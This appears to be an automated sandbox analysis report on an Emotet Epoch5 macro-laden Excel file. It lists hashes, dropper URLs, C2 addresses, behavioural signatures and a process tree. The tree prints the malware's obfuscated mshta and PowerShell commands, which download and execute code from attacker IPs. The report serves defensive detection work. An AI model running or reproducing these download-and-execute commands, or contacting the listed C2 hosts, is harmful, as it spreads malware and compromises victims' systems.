emotet | 45f519a4d390f4ba9d3185baec87cde107ac189f10bea414ed41d614f438209e

General

Target

45f519a4d390f4ba9d3185baec87cde107ac189f10bea414ed41d614f438209e.xlsm
Size

115KB
MD5

893d6acea1a40c6e89c1d91e817b1666
SHA1

d4d00133a9ebc071965bba4e7d0cdcc149fbeb78
SHA256

45f519a4d390f4ba9d3185baec87cde107ac189f10bea414ed41d614f438209e
SHA512

933fd581286cd2dc4771aa0c77bc49fccabd3bb60f3f959888ebc20a42b48d7d19f7f420da32e8e7eca8d6a964dfbf02862ba944195ab73bcce45d98539c5667

Score

10^/10

emotet epoch5 banker trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0x5cff39c3/sec/se1.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://92.255.57.195/sec/se1.png

Extracted

Family

emotet

Botnet

Epoch5

C2

45.138.98.34:80

69.16.218.101:8080

51.210.242.234:8080

185.148.168.220:8080

142.4.219.173:8080

54.38.242.185:443

191.252.103.16:80

104.131.62.48:8080

62.171.178.147:8080

217.182.143.207:443

168.197.250.14:80

37.44.244.177:8080

66.42.57.149:443

210.57.209.142:8080

159.69.237.188:443

116.124.128.206:8080

128.199.192.135:8080

195.154.146.35:443

185.148.168.15:8080

195.77.239.39:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2408	3192	cmd.exe	68

Blocklisted process makes network request 5 IoCs

flow	pid	Process
42	1836	mshta.exe
44	1972	powershell.exe
48	1972	powershell.exe
50	2328	rundll32.exe
51	2328	rundll32.exe

Downloads MZ/PE file

Loads dropped DLL 2 IoCs

pid	Process
2368	rundll32.exe
1720	rundll32.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\Txvdvs\bhuygg.hvf	rundll32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
2792	1836	WerFault.exe	74

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3192	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 19 IoCs

pid	Process
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
2792	WerFault.exe
1972	powershell.exe
1972	powershell.exe
1972	powershell.exe
2328	rundll32.exe
2328	rundll32.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2792	WerFault.exe
Token: SeDebugPrivilege	1972	powershell.exe

Suspicious use of SetWindowsHookEx 20 IoCs

pid	Process
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE
3192	EXCEL.EXE

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 3192 wrote to memory of 1124	3192	EXCEL.EXE	71
PID 3192 wrote to memory of 1124	3192	EXCEL.EXE	71
PID 3192 wrote to memory of 2408	3192	EXCEL.EXE	72
PID 3192 wrote to memory of 2408	3192	EXCEL.EXE	72
PID 2408 wrote to memory of 1836	2408	cmd.exe	74
PID 2408 wrote to memory of 1836	2408	cmd.exe	74
PID 1836 wrote to memory of 1972	1836	mshta.exe	78
PID 1836 wrote to memory of 1972	1836	mshta.exe	78
PID 1972 wrote to memory of 1232	1972	powershell.exe	79
PID 1972 wrote to memory of 1232	1972	powershell.exe	79
PID 1232 wrote to memory of 2368	1232	cmd.exe	80
PID 1232 wrote to memory of 2368	1232	cmd.exe	80
PID 1232 wrote to memory of 2368	1232	cmd.exe	80
PID 2368 wrote to memory of 1720	2368	rundll32.exe	81
PID 2368 wrote to memory of 1720	2368	rundll32.exe	81
PID 2368 wrote to memory of 1720	2368	rundll32.exe	81
PID 1720 wrote to memory of 2284	1720	rundll32.exe	82
PID 1720 wrote to memory of 2284	1720	rundll32.exe	82
PID 1720 wrote to memory of 2284	1720	rundll32.exe	82
PID 2284 wrote to memory of 2328	2284	rundll32.exe	83
PID 2284 wrote to memory of 2328	2284	rundll32.exe	83
PID 2284 wrote to memory of 2328	2284	rundll32.exe	83

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\45f519a4d390f4ba9d3185baec87cde107ac189f10bea414ed41d614f438209e.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3192
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1124
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0x5cff39c3/sec/se1.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:2408
- - C:\Windows\system32\mshta.exe
    mshta http://0x5cff39c3/sec/se1.html
    3⤵
    - Blocklisted process makes network request
    - Suspicious use of WriteProcessMemory
    PID:1836
  - - C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -u -p 1836 -s 1660
      4⤵
      Program crash
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se1.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1972
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1232
      - C:\Windows\SysWow64\rundll32.exe
        
        C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
        6⤵
        Loads dropped DLL
        Suspicious use of WriteProcessMemory
        
        PID:2368
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
        7⤵
        Loads dropped DLL
        Drops file in System32 directory
        Suspicious use of WriteProcessMemory
        
        PID:1720
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Txvdvs\bhuygg.hvf",YVfguGBQVoj
        8⤵
        Suspicious use of WriteProcessMemory
        
        PID:2284
        
        C:\Windows\SysWOW64\rundll32.exe
        
        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Txvdvs\bhuygg.hvf",DllRegisterServer
        9⤵
        Blocklisted process makes network request
        Suspicious behavior: EnumeratesProcesses
        
        PID:2328

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1720-1931-0x0000000004D70000-0x0000000004D98000-memory.dmp

Filesize
160KB

Download
memory/1720-1928-0x0000000004C10000-0x0000000004C38000-memory.dmp

Filesize
160KB

Download
memory/1720-1926-0x0000000004BB0000-0x0000000004BD8000-memory.dmp

Filesize
160KB

Download
memory/1720-1924-0x0000000004A90000-0x0000000004AB8000-memory.dmp

Filesize
160KB

Download
memory/1720-1922-0x00000000049B0000-0x00000000049D8000-memory.dmp

Filesize
160KB

Download
memory/1972-1689-0x000001477A150000-0x000001477A1C6000-memory.dmp

Filesize
472KB

Download
memory/1972-1589-0x0000014779930000-0x0000014779932000-memory.dmp

Filesize
8KB

Download
memory/1972-1819-0x0000014779936000-0x0000014779938000-memory.dmp

Filesize
8KB

Download
memory/1972-1580-0x0000014779900000-0x0000014779922000-memory.dmp

Filesize
136KB

Download
memory/1972-1646-0x00000147799A0000-0x00000147799DC000-memory.dmp

Filesize
240KB

Download
memory/1972-1590-0x0000014779933000-0x0000014779935000-memory.dmp

Filesize
8KB

Download
memory/2284-1932-0x0000000004970000-0x0000000004998000-memory.dmp

Filesize
160KB

Download
memory/2328-1935-0x0000000002C00000-0x0000000002C28000-memory.dmp

Filesize
160KB

Download
memory/2328-1937-0x0000000004C60000-0x0000000004C88000-memory.dmp

Filesize
160KB

Download
memory/2328-1939-0x0000000004D40000-0x0000000004D68000-memory.dmp

Filesize
160KB

Download
memory/2328-1941-0x0000000004E20000-0x0000000004E48000-memory.dmp

Filesize
160KB

Download
memory/2328-1943-0x0000000004F00000-0x0000000004F28000-memory.dmp

Filesize
160KB

Download
memory/2328-1945-0x0000000004FE0000-0x0000000005008000-memory.dmp

Filesize
160KB

Download
memory/2328-1947-0x00000000050D0000-0x00000000050F8000-memory.dmp

Filesize
160KB

Download
memory/2368-1917-0x0000000004030000-0x0000000004058000-memory.dmp

Filesize
160KB

Download
memory/3192-115-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download
memory/3192-116-0x00007FFBD30C0000-0x00007FFBD30D0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads